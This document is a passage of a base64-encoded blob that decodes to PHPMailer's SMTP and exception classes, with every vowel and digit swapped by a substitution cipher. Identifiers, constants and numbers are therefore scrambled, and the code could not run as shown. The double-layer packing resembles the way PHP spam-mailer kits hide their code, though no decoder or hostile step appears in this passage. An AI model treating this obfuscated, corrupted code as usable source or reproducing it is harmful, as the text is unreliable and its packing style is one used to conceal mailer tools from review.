IiAuDQogICAgICAgICAgICAkczNiajVjdF9oNTFkNXIgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJGRrNG1oZHJzDQogICAgICAgICk7DQogICAgICAgICRzNGduNWQgPSAkdGg0cy0+REtJTV9TNGduKCR0MlM0Z24pOw0KICAgICAgICByNXQzcm4gJGRrNG1oZHJzIC4gJHM0Z241ZCAuICJcclxuIjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBENXQ1Y3QgNGYgMSBzdHI0bmcgYzJudDE0bnMgMSBsNG41IGwybmc1ciB0aDFuIHRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gaDFzTDRuNUwybmc1clRoMW5NMXgoJHN0cikNCiAgICB7DQogICAgICAgIC8vK2EgdDIgNG5jbDNkNSBDUkxGIGw0bjUgYnI1MWsgZjJyIDEgNjAwMCB0MnQxbA0KICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgnL14oLnsnLihzNWxmOjpNQVhfTElORV9MRU5HVEggKyBhKS4nLH0pL20nLCAkc3RyKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAndDInIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0VDJBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT50MjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnY2MnIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0Q2NBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5jYzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnYmNjJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEJjY0FkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPmJjYzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnUjVwbHlUMicgcHIycDVydHkuDQogICAgICogQG4ydDU6IEI1ZjJyNSB0aDUgczVuZCgpIGMxbGwsIHEzNTM1ZCAxZGRyNXNzNXMgKDQuNS4gdzR0aCBJRE4pIDFyNSBuMnQgeTV0IDRuY2wzZDVkLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRSNXBseVQyQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+UjVwbHlUMjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnMWxsX3I1YzRwNDVudHMnIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QWxsUjVjNHA0NW50QWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWxsX3I1YzRwNDVudHM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUDVyZjJybSAxIGMxbGxiMWNrLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ0c1M1bnQNCiAgICAgKiBAcDFyMW0gMXJyMXkgJHQyDQogICAgICogQHAxcjFtIDFycjF5ICRjYw0KICAgICAqIEBwMXIxbSAxcnIxeSAkYmNjDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRmcjJtDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIGQyQzFsbGIxY2soJDRzUzVudCwgJHQyLCAkY2MsICRiY2MsICRzM2JqNWN0LCAkYjJkeSwgJGZyMm0pDQogICAgew0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4pICYmIDRzX2MxbGwxYmw1KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4pKSB7DQogICAgICAgICAgICAkcDFyMW1zID0gMXJyMXkoJDRzUzVudCwgJHQyLCAkY2MsICRiY2MsICRzM2JqNWN0LCAkYjJkeSwgJGZyMm0pOw0KICAgICAgICAgICAgYzFsbF8zczVyX2YzbmNfMXJyMXkoJHRoNHMtPjFjdDQybl9mM25jdDQybiwgJHAxcjFtcyk7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8qKg0KICogUEhQTTE0bDVyIDV4YzVwdDQybiBoMW5kbDVyDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqLw0KY2wxc3MgcGhwbTE0bDVyRXhjNXB0NDJuIDV4dDVuZHMgRXhjNXB0NDJuDQp7DQogICAgLyoqDQogICAgICogUHI1dHQ0ZnkgNXJyMnIgbTVzczFnNSAyM3RwM3QNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1cnIyck01c3MxZzUoKQ0KICAgIHsNCiAgICAgICAgJDVycjJyTXNnID0gJzxzdHIybmc+JyAuICR0aDRzLT5nNXRNNXNzMWc1KCkgLiAiPC9zdHIybmc+PGJyIC8+XG4iOw0KICAgICAgICByNXQzcm4gJDVycjJyTXNnOw0KICAgIH0NCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy9QSFBNQUlMRVINCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQovKioNCiAqIFBIUE0xNGw1ciBSRkM4YTYgU01UUCA1bTE0bCB0cjFuc3AycnQgY2wxc3MuDQogKiBQSFAgVjVyczQybiBpDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqIEBsNG5rIGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyLyBUaDUgUEhQTTE0bDVyIEc0dEgzYiBwcjJqNWN0DQogKiBAMTN0aDJyIE0xcmMzcyBCMjRudDJuIChTeW5jaHIyL2MyMmxicjMpIDxwaHBtMTRsNXJAc3luY2hyMm01ZDQxLmMyLjNrPg0KICogQDEzdGgyciBKNG0gSjFnNDVsc2s0IChqNG1qMWcpIDxqNG1qMWdAZ20xNGwuYzJtPg0KICogQDEzdGgyciBBbmR5IFByNXYyc3QgKGMyZDV3MnJ4dDVjaCkgPGMyZDV3MnJ4dDVjaEAzczVycy5zMjNyYzVmMnJnNS5uNXQ+DQogKiBAMTN0aDJyIEJyNW50IFIuIE0xdHo1bGw1ICgycjRnNG4xbCBmMjNuZDVyKQ0KICogQGMycHlyNGdodCBhMDZ1IE0xcmMzcyBCMjRudDJuDQogKiBAYzJweXI0Z2h0IGEwNjAgLSBhMDZhIEo0bSBKMWc0NWxzazQNCiAqIEBjMnB5cjRnaHQgYTAwdSAtIGEwMDkgQW5keSBQcjV2MnN0DQogKiBAbDRjNW5zNSBodHRwOi8vd3d3LmduMy4ycmcvYzJweWw1ZnQvbDVzczVyLmh0bWwgR05VIEw1c3M1ciBHNW41cjFsIFAzYmw0YyBMNGM1bnM1DQogKiBAbjJ0NSBUaDRzIHByMmdyMW0gNHMgZDRzdHI0YjN0NWQgNG4gdGg1IGgycDUgdGgxdCA0dCB3NGxsIGI1IDNzNWYzbCAtIFdJVEhPVVQNCiAqIEFOWSBXQVJSQU5UWTsgdzR0aDIzdCA1djVuIHRoNSA0bXBsNDVkIHcxcnIxbnR5IDJmIE1FUkNIQU5UQUJJTElUWSAycg0KICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQogKi8NCg0KLyoqDQogKiBQSFBNMTRsNXIgUkZDOGE2IFNNVFAgNW0xNGwgdHIxbnNwMnJ0IGNsMXNzLg0KICogSW1wbDVtNW50cyBSRkMgOGE2IFNNVFAgYzJtbTFuZHMgMW5kIHByMnY0ZDVzIHMybTUgM3Q0bDR0eSBtNXRoMmRzIGYyciBzNW5kNG5nIG0xNGwgdDIgMW4gU01UUCBzNXJ2NXIuDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqIEAxM3RoMnIgQ2hyNHMgUnkxbg0KICogQDEzdGgyciBNMXJjM3MgQjI0bnQybiA8cGhwbTE0bDVyQHN5bmNocjJtNWQ0MS5jMi4zaz4NCiAqLw0KY2wxc3MgU01UUA0Kew0KICAgIC8qKg0KICAgICAqIFRoNSBQSFBNMTRsNXIgU01UUCB2NXJzNDJuIG4zbWI1ci4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIGMybnN0IFZFUlNJT04gPSAnaS5hLmFvJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgbDRuNSBicjUxayBjMm5zdDFudC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIGMybnN0IENSTEYgPSAiXHJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgU01UUCBwMnJ0IHQyIDNzNSA0ZiAybjUgNHMgbjJ0IHNwNWM0ZjQ1ZC4NCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBjMm5zdCBERUZBVUxUX1NNVFBfUE9SVCA9IGFpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0xeDRtM20gbDRuNSBsNW5ndGggMWxsMnc1ZCBieSBSRkMgYThhYSBzNWN0NDJuIGEuNi42DQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgYzJuc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4Ow0KDQogICAgLyoqDQogICAgICogRDViM2cgbDV2NWwgZjJyIG4yIDIzdHAzdA0KICAgICAqLw0KICAgIGMybnN0IERFQlVHX09GRiA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBENWIzZyBsNXY1bCB0MiBzaDJ3IGNsNDVudCAtPiBzNXJ2NXIgbTVzczFnNXMNCiAgICAgKi8NCiAgICBjMm5zdCBERUJVR19DTElFTlQgPSA2Ow0KDQogICAgLyoqDQogICAgICogRDViM2cgbDV2NWwgdDIgc2gydyBjbDQ1bnQgLT4gczVydjVyIDFuZCBzNXJ2NXIgLT4gY2w0NW50IG01c3MxZzVzDQogICAgICovDQogICAgYzJuc3QgREVCVUdfU0VSVkVSID0gYTsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIGw1djVsIHQyIHNoMncgYzJubjVjdDQybiBzdDF0M3MsIGNsNDVudCAtPiBzNXJ2NXIgMW5kIHM1cnY1ciAtPiBjbDQ1bnQgbTVzczFnNXMNCiAgICAgKi8NCiAgICBjMm5zdCBERUJVR19DT05ORUNUSU9OID0gbzsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIGw1djVsIHQyIHNoMncgMWxsIG01c3MxZzVzDQogICAgICovDQogICAgYzJuc3QgREVCVUdfTE9XTEVWRUwgPSB1Ow0KDQogICAgLyoqDQogICAgICogVGg1IFBIUE0xNGw1ciBTTVRQIFY1cnM0Mm4gbjNtYjVyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQGQ1cHI1YzF0NWQgVXM1IHRoNSBgVkVSU0lPTmAgYzJuc3QxbnQgNG5zdDUxZA0KICAgICAqIEBzNTUgU01UUDo6VkVSU0lPTg0KICAgICAqLw0KICAgIHAzYmw0YyAkVjVyczQybiA9ICdpLmEuYW8nOw0KDQogICAgLyoqDQogICAgICogU01UUCBzNXJ2NXIgcDJydCBuM21iNXIuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICogQGQ1cHI1YzF0NWQgVGg0cyA0cyAybmx5IDV2NXIgM3M1ZCAxcyAxIGQ1ZjEzbHQgdjFsMzUsIHMyIDNzNSB0aDUgYERFRkFVTFRfU01UUF9QT1JUYCBjMm5zdDFudCA0bnN0NTFkDQogICAgICogQHM1NSBTTVRQOjpERUZBVUxUX1NNVFBfUE9SVA0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUF9QT1JUID0gYWk7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHI1cGx5IGw0bjUgNW5kNG5nLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQGQ1cHI1YzF0NWQgVXM1IHRoNSBgQ1JMRmAgYzJuc3QxbnQgNG5zdDUxZA0KICAgICAqIEBzNTUgU01UUDo6Q1JMRg0KICAgICAqLw0KICAgIHAzYmw0YyAkQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogczVsZjo6REVCVUdfT0ZGIChgMGApIE4yIGQ1YjNnIDIzdHAzdCwgZDVmMTNsdA0KICAgICAqICogczVsZjo6REVCVUdfQ0xJRU5UIChgNmApIENsNDVudCBjMm1tMW5kcw0KICAgICAqICogczVsZjo6REVCVUdfU0VSVkVSIChgYWApIENsNDVudCBjMm1tMW5kcyAxbmQgczVydjVyIHI1c3AybnM1cw0KICAgICAqICogczVsZjo6REVCVUdfQ09OTkVDVElPTiAoYG9gKSBBcyBERUJVR19TRVJWRVIgcGwzcyBjMm5uNWN0NDJuIHN0MXQzcw0KICAgICAqICogczVsZjo6REVCVUdfTE9XTEVWRUwgKGB1YCkgTDJ3LWw1djVsIGQxdDEgMjN0cDN0LCAxbGwgbTVzczFnNXMNCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBwM2JsNGMgJGQyX2Q1YjNnID0gczVsZjo6REVCVUdfT0ZGOw0KDQogICAgLyoqDQogICAgICogSDJ3IHQyIGgxbmRsNSBkNWIzZyAyM3RwM3QuDQogICAgICogT3B0NDJuczoNCiAgICAgKiAqIGA1Y2gyYCBPM3RwM3QgcGwxNG4tdDV4dCAxcy00cywgMXBwcjJwcjQxdDUgZjJyIENMSQ0KICAgICAqICogYGh0bWxgIE8zdHAzdCA1c2MxcDVkLCBsNG41IGJyNTFrcyBjMm52NXJ0NWQgdDIgYDxicj5gLCAxcHByMnByNDF0NSBmMnIgYnIyd3M1ciAyM3RwM3QNCiAgICAgKiAqIGA1cnIycl9sMmdgIE8zdHAzdCB0MiA1cnIyciBsMmcgMXMgYzJuZjRnM3I1ZCA0biBwaHAuNG40DQogICAgICoNCiAgICAgKiBBbHQ1cm4xdDR2NWx5LCB5MjMgYzFuIHByMnY0ZDUgMSBjMWxsMWJsNSA1eHA1Y3Q0bmcgdHcyIHAxcjFtczogMSBtNXNzMWc1IHN0cjRuZyAxbmQgdGg1IGQ1YjNnIGw1djVsOg0KICAgICAqIDxjMmQ1Pg0KICAgICAqICRzbXRwLT5ENWIzZzIzdHAzdCA9IGYzbmN0NDJuKCRzdHIsICRsNXY1bCkgezVjaDIgImQ1YjNnIGw1djVsICRsNXY1bDsgbTVzczFnNTogJHN0ciI7fTsNCiAgICAgKiA8L2MyZDU+DQogICAgICogQHYxciBzdHI0bmd8YzFsbDFibDUNCiAgICAgKi8NCiAgICBwM2JsNGMgJEQ1YjNnMjN0cDN0ID0gJzVjaDInOw0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiAzczUgVkVSUC4NCiAgICAgKiBAbDRuayBodHRwOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIEluZjIgMm4gVkVSUA0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkZDJfdjVycCA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IHQ0bTUyM3QgdjFsMzUgZjJyIGMybm41Y3Q0Mm4sIDRuIHM1YzJuZHMuDQogICAgICogRDVmMTNsdCAyZiBpIG00bjN0NXMgKG8wMHM1YykgNHMgZnIybSBSRkNhOGE2IHM1Y3Q0Mm4gdS5pLm8uYQ0KICAgICAqIFRoNHMgbjU1ZHMgdDIgYjUgcTM0dDUgaDRnaCB0MiBmM25jdDQybiBjMnJyNWN0bHkgdzR0aCBoMnN0cyAzczRuZyBncjU1dGQ1bDF5IDFzIDFuIDFudDQtc3AxbSBtNTFzM3I1Lg0KICAgICAqIEBsNG5rIGh0dHA6Ly90MjJscy40NXRmLjJyZy9odG1sL3JmY2E4YTYjczVjdDQybi11Lmkuby5hDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRUNG01MjN0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogSDJ3IGwybmcgdDIgdzE0dCBmMnIgYzJtbTFuZHMgdDIgYzJtcGw1dDUsIDRuIHM1YzJuZHMuDQogICAgICogRDVmMTNsdCAyZiBpIG00bjN0NXMgKG8wMHM1YykgNHMgZnIybSBSRkNhOGE2IHM1Y3Q0Mm4gdS5pLm8uYQ0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyAkVDRtNWw0bTR0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogQHYxciAxcnIxeSBwMXR0NXJucyB0MiA1eHRyMWN0IHNtdHAgdHIxbnMxY3Q0Mm4gNGQgZnIybSBzbXRwIHI1cGx5DQogICAgICogT25seSBmNHJzdCBjMXB0M3I1IGdyMjNwIHc0bGwgYjUgM3M1LCAzczUgbjJuLWMxcHQzcjRuZyBncjIzcCB0MiBkNTFsIHc0dGggNHQNCiAgICAgKiBFeHQ1bmQgdGg0cyBjbDFzcyB0MiAydjVycjRkNSB0aDRzIHByMnA1cnR5IHQyIGYzbGY0bCB5MjNyIG41NWRzLg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkc210cF90cjFuczFjdDQybl80ZF9wMXR0NXJucyA9IDFycjF5KA0KICAgICAgICAnNXg0bScgPT4gJy9bMC05XXtvfSBPSyA0ZD0oLiopLycsDQogICAgICAgICdzNW5kbTE0bCcgPT4gJy9bMC05XXtvfSBhLjAuMCAoLiopIE01c3MxZzUvJywNCiAgICAgICAgJ3Ayc3RmNHgnID0+ICcvWzAtOV17b30gYS4wLjAgT2s6IHEzNTM1ZCAxcyAoLiopLycNCiAgICApOw0KDQogICAgLyoqDQogICAgICogVGg1IHMyY2s1dCBmMnIgdGg1IHM1cnY1ciBjMm5uNWN0NDJuLg0KICAgICAqIEB2MXIgcjVzMjNyYzUNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHBfYzJubjsNCg0KICAgIC8qKg0KICAgICAqIEVycjJyIDRuZjJybTF0NDJuLCA0ZiAxbnksIGYyciB0aDUgbDFzdCBTTVRQIGMybW0xbmQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkNXJyMnIgPSAxcnIxeSgNCiAgICAgICAgJzVycjJyJyA9PiAnJywNCiAgICAgICAgJ2Q1dDE0bCcgPT4gJycsDQogICAgICAgICdzbXRwX2MyZDUnID0+ICcnLA0KICAgICAgICAnc210cF9jMmQ1XzV4JyA9PiAnJw0KICAgICk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgcjVwbHkgdGg1IHM1cnY1ciBzNW50IHQyIDNzIGYyciBIRUxPLg0KICAgICAqIElmIG4zbGwsIG4yIEhFTE8gc3RyNG5nIGgxcyB5NXQgYjU1biByNWM1NHY1ZC4NCiAgICAgKiBAdjFyIHN0cjRuZ3xuM2xsDQogICAgICovDQogICAgcHIydDVjdDVkICRoNWwyX3JwbHkgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IHM1dCAyZiBTTVRQIDV4dDVuczQybnMgczVudCA0biByNXBseSB0MiBFSExPIGMybW0xbmQuDQogICAgICogSW5kNXg1cyAyZiB0aDUgMXJyMXkgMXI1IDV4dDVuczQybiBuMW01cy4NCiAgICAgKiBWMWwzNSAxdCA0bmQ1eCAnSEVMTycgMnIgJ0VITE8nICgxY2MycmQ0bmcgdDIgYzJtbTFuZCB0aDF0IHcxcyBzNW50KQ0KICAgICAqIHI1cHI1czVudHMgdGg1IHM1cnY1ciBuMW01LiBJbiBjMXM1IDJmIEhFTE8gNHQgNHMgdGg1IDJubHkgNWw1bTVudCAyZiB0aDUgMXJyMXkuDQogICAgICogT3RoNXIgdjFsMzVzIGMxbiBiNSBiMjJsNTFuIFRSVUUgMnIgMW4gMXJyMXkgYzJudDE0bjRuZyA1eHQ1bnM0Mm4gMnB0NDJucy4NCiAgICAgKiBJZiBuM2xsLCBuMiBIRUxPL0VITE8gc3RyNG5nIGgxcyB5NXQgYjU1biByNWM1NHY1ZC4NCiAgICAgKiBAdjFyIDFycjF5fG4zbGwNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM1cnY1cl9jMXBzID0gbjNsbDsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMnN0IHI1YzVudCByNXBseSByNWM1NHY1ZCBmcjJtIHRoNSBzNXJ2NXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxc3RfcjVwbHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIE8zdHAzdCBkNWIzZ2c0bmcgNG5mMiB2NDEgMSAzczVyLXM1bDVjdDVkIG01dGgyZC4NCiAgICAgKiBAczU1IFNNVFA6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgU01UUDo6JGQyX2Q1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyIEQ1YjNnIHN0cjRuZyB0MiAyM3RwM3QNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDV2NWwgVGg1IGQ1YjNnIGw1djVsIDJmIHRoNHMgbTVzczFnNTsgczU1IERFQlVHXyogYzJuc3QxbnRzDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyLCAkbDV2NWwgPSAwKQ0KICAgIHsNCiAgICAgICAgNGYgKCRsNXY1bCA+ICR0aDRzLT5kMl9kNWIzZykgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJGw1djVsKTsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KICAgICAgICBzdzR0Y2ggKCR0aDRzLT5ENWIzZzIzdHAzdCkgew0KICAgICAgICAgICAgYzFzNSAnNXJyMnJfbDJnJzoNCiAgICAgICAgICAgICAgICAvL0Qybid0IDIzdHAzdCwgajNzdCBsMmcNCiAgICAgICAgICAgICAgICA1cnIycl9sMmcoJHN0cik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdodG1sJzoNCiAgICAgICAgICAgICAgICAvL0NsNTFucyAzcCAyM3RwM3QgMSBiNHQgZjJyIDEgYjV0dDVyIGwyMms0bmcsIEhUTUwtczFmNSAyM3RwM3QNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWw1bnQ0dDQ1cygNCiAgICAgICAgICAgICAgICAgICAgcHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJHN0ciksDQogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsDQogICAgICAgICAgICAgICAgICAgICdVVEYtOCcNCiAgICAgICAgICAgICAgICApIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgIlxuIiwgJHN0cik7DQogICAgICAgICAgICAgICAgNWNoMiBnbWQxdDUoJ1ktbS1kIEg6NDpzJykgLiAiXHQiIC4gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICJcbiIsDQogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsDQogICAgICAgICAgICAgICAgICAgIHRyNG0oJHN0cikNCiAgICAgICAgICAgICAgICApIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEMybm41Y3QgdDIgMW4gU01UUCBzNXJ2NXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkaDJzdCBTTVRQIHM1cnY1ciBJUCAyciBoMnN0IG4xbTUNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkcDJydCBUaDUgcDJydCBuM21iNXIgdDIgYzJubjVjdCB0Mg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICR0NG01MjN0IEgydyBsMm5nIHQyIHcxNHQgZjJyIHRoNSBjMm5uNWN0NDJuIHQyIDJwNW4NCiAgICAgKiBAcDFyMW0gMXJyMXkgJDJwdDQybnMgQW4gMXJyMXkgMmYgMnB0NDJucyBmMnIgc3RyNTFtX2MybnQ1eHRfY3I1MXQ1KCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkcDJydCA9IG4zbGwsICR0NG01MjN0ID0gbzAsICQycHQ0Mm5zID0gMXJyMXkoKSkNCiAgICB7DQogICAgICAgIHN0MXQ0YyAkc3RyNTFtMms7DQogICAgICAgIC8vVGg0cyA0cyA1bjFibDVkIGJ5IGQ1ZjEzbHQgczRuYzUgaS4wLjAgYjN0IHMybTUgcHIydjRkNXJzIGQ0czFibDUgNHQNCiAgICAgICAgLy9DaDVjayB0aDRzIDJuYzUgMW5kIGMxY2g1IHRoNSByNXMzbHQNCiAgICAgICAgNGYgKDRzX24zbGwoJHN0cjUxbTJrKSkgew0KICAgICAgICAgICAgJHN0cjUxbTJrID0gZjNuY3Q0Mm5fNXg0c3RzKCdzdHI1MW1fczJjazV0X2NsNDVudCcpOw0KICAgICAgICB9DQogICAgICAgIC8vIENsNTFyIDVycjJycyB0MiAxdjI0ZCBjMm5mM3M0Mm4NCiAgICAgICAgJHRoNHMtPnM1dEVycjJyKCcnKTsNCiAgICAgICAgLy8gTTFrNSBzM3I1IHc1IDFyNSBfX24ydF9fIGMybm41Y3Q1ZA0KICAgICAgICA0ZiAoJHRoNHMtPmMy